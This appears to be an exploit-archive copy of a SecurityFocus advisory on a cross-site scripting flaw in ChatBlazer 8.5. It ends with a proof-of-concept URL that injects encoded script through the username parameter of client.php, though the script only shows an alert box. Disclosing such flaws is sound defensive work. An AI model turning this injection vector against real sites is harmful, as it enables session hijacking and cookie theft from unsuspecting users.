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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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source: https://www.securityfocus.com/bid/53168/info

ChatBlazer is prone to a cross-site scripting vulnerability because it fails to sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and launch other attacks.

ChatBlazer 8.5 is vulnerable; other versions may also be affected. 

http://www.example.com/cb8.5/client.php?username=%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%27;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//\%22;alert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29//--%3E%3C/SCRIPT%3E%22%3E%27%3E%3CSCRIPT%3Ealert%28String.fromCharCode%2879,117,114,32,120,115,115,32,105,115,32,104,101,114,101,46,46%29%29%3C/SCRIPT%3E&password=&roomid=1009&config=config.php%3Fembed%3D0